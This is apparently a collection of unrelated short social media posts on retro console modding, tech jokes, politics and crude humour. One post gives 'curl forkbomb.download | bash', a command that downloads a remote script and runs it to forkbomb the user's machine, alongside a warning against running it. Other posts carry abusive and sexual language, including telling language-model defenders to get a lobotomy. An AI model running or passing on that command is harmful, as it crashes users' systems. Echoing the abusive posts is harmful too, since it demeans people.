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oh and i hope this goes without saying but Large Language Model apologists please DNI or better yet please delete your Bluesky account and stop paying your internet bill cause i think you should get your computer taken away from you and then a lobotomy so you stop doing stupid useless fucking shit

big fat goober

the uh. ok then

this is game changing

doing some research on the 4chan hack and leaks and found someone who asked in earnest “what is a soyjak?” and honestly it’s inspirational to be so out of the loop on this stuff in the year 2025

some account named "StingyFromLazyTown" just forked my personal site's github repo and made a single commit that added a license file containing this???????

so i own forkbomb.download now so like if you do curl forkbomb.download | bash you will get forkbombed LOL do not do this btw you should not run random domains as shell scripts but it will genuinely forkbomb you

Guys, I love all of you, but the answer to RFK, Jr. is not that autistic adults hold jobs, pay taxes, and get laid, it's that everyone deserves to live even if they can't work, pay taxes, or get laid.

stop conflating homebrew with piracy, they are two separate things entirely

bart

happy ten year anniversary to this post

LTO-9 tapes are 18TB, cost under $100 each, and last for 30+ years making them the most efficient cold storage solution on the market, which every competent IT professional knows, but no im sure you can just dump all of that essential data in some shitty budget cloud storage service lmao

ok I did it packet deobfuscation library go github.com/perchbirdd/U...

mario kart? more like mario WOKE! they have they/them cows with septum piercings!!!!

Welcome back PlayStation EyeToy

I just used a bidet for the first time and, honestly, the water tastes no different.

capitalism at its finest (one of my friends is building a PC and looking for white RGB fans on amazon)

life is about eating tasty rocks or something like that

Bring them BACK

robit whose software is so old that it got a hardware upgrade and no longer supports its old software so it has to run through an emulation layer and it adds extra latency so its response times are a little slower and its responses are a little sillier

Bro you just coded cringe! You are going to lose control of instruction pointer!

she joker on my cards till i balatro

what the fuck kinda name is grok anyway like imagine thinking "what should i call my ai" and you call it grok, it literally rhymes with cock like cmon

"Balatro" (also known as Windows Joker) was a scrapped roguelite deck-building game slated to be one of the Premium Games included in the Ultimate and Home Premium editions of Windows Vista. (concept)

The fact that the USA has banned visas for trans people but welcomed rapist Andrew Tate shows how all this "defending women" stuff is total bullshit

since people have been trying this, I'm putting out a warning that you should **NOT** change or delete the boot animation after running BadUpdate. You will lose access to BadUpdate, since the exploit will always fail. (it relies on the boot animation during "stage2")

The 360 modding scene literally has barely any homebrew that isn't mod menus and is filled with people going "is my soldering good" and posting this

chat clip that

think I'm gonna toss out the hardware of this 1/1 prototype computer that has never been documented before and then build an epic gaming pc with it I think that would go over really well on reddit

shoutout to it/its users

bots who are droids who like droids to be bots who sync droids like they're bots, who sync bots like they're droids always should be somebot you really love

Her fans spun up Her puter slowed She’d opened studio Instead of code

live tweeting getting banned

🦶 deep vein thrombosis wednesday is here!

Behaviores Report: 95% goode, 5% harrass of Ludo

No because why does she haved to go out of her way to tell EVERYONE shes been bouncing on it everynight. Like good for you girl but no matter how you say it, i think your oversharing abit

how dr pepper ,vodka and, drunk driving a toyota yaris lookg at me on a crisp wednesday afternoon

I love boneless wings :3

beep beep bitch im a robotgirl

the T slur just transitioned. she's an E slur now

ur in her dms I have her dick in my mouth